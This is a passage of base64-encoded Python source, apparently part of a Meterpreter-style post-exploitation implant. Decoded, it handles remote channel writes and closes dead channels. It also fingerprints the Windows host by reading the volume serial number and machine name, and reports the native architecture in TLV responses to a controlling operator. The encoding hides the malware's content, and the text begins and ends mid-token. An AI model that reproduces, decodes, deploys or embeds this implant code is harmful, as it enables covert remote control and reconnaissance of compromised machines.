UnOiBsZW4oZGF0YSl9LAogICAgICAgICAgICAgICAgICAgIF0pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5zZW5kX3BhY2tldCh0bHZfcGFja19yZXF1ZXN0KCdjb3JlX2NoYW5uZWxfd3JpdGUnLCB3cml0ZV9yZXF1ZXN0X3BhcnRzKSkKCiAgICBkZWYgaGFuZGxlX2RlYWRfcmVzb3VyY2VfY2hhbm5lbChzZWxmLCBjaGFubmVsX2lkKToKICAgICAgICBkZWwgc2VsZi5jaGFubmVsc1tjaGFubmVsX2lkXQogICAgICAgIGlmIGNoYW5uZWxfaWQgaW4gc2VsZi5pbnRlcmFjdF9jaGFubmVsczoKICAgICAgICAgICAgc2VsZi5pb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kKICAgICAgICAgICAgZnNfYnVmID0gY3R5cGVzLmNyZWF0ZV91bmljb2RlX2J1ZmZlcigyNjApCiAgICAgICAgICAgIHNlcmlhbF9udW0gPSB3aW50eXBlcy5EV09SRCgwKQoKICAgICAgICAgICAgaWYgbm90IGszMi5HZXRWb2x1bWVJbmZvcm1hdGlvblcoY3R5cGVzLmNfd2NoYXJfcChzeXNfZGlyLnZhbHVlWzozXSksCiAgICAgICAgICAgICAgICAgICAgdm9sX2J1ZiwgY3R5cGVzLnNpemVvZih2b2xfYnVmKSwgY3R5cGVzLmJ5cmVmKHNlcmlhbF9udW0pLCBOb25lLAogICAgICAgICAgICAgICAgICAgIE5vbmUsIGZzX2J1ZiwgY3R5cGVzLnNpemVvZihmc19idWYpKToKICAgICAgICAgICAgICAgIHJldHVybiBFUlJPUl9GQUlMVVJFX1dJTkRPV1MKICAgICAgICAgICAgc2VyaWFsX251bSA9IHNlcmlhbF9udW0udmFsdWUKICAgICAgICAgICAgc2VyaWFsID0gIiUwNHgiICUgKChzZXJpYWxfbnVtID4+IDE2KSAmIDB4ZmZmZikgKyAnLScgIiUwNHgiICUgKHNlcmlhbF9udW0gJiAweGZmZmYpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgc2VyaWFsID0gZ2V0X2hkZF9sYWJlbCgpCgogICAgICAgIHJlc3BvbnNlICs9IHRsdl9wYWNrKFRMVl9UWVBFX01BQ0hJTkVfSUQsICIlczolcyIgJSAoc2VyaWFsLCBtYWNoaW5lX25hbWUpKQogICAgICAgIHJldHVybiBFUlJPUl9TVUNDRVNTLCByZXNwb25zZQoKICAgIGRlZiBfY29yZV9uYXRpdmVfYXJjaChzZWxmLCByZXF1ZXN0LCByZXNwb25zZSk6CiAgICAgICAgcmVzcG9uc2UgKz0gdGx2X3BhY2soVExWX1RZUEVfU1RSSU5HLCBnZXRfbmF0aXZlX2FyY2goKSkKICAgICAgICByZXR1cm4gRVJST1JfU1VDQ0VTUywgcmVzcG9uc2UKCiAgICBkZ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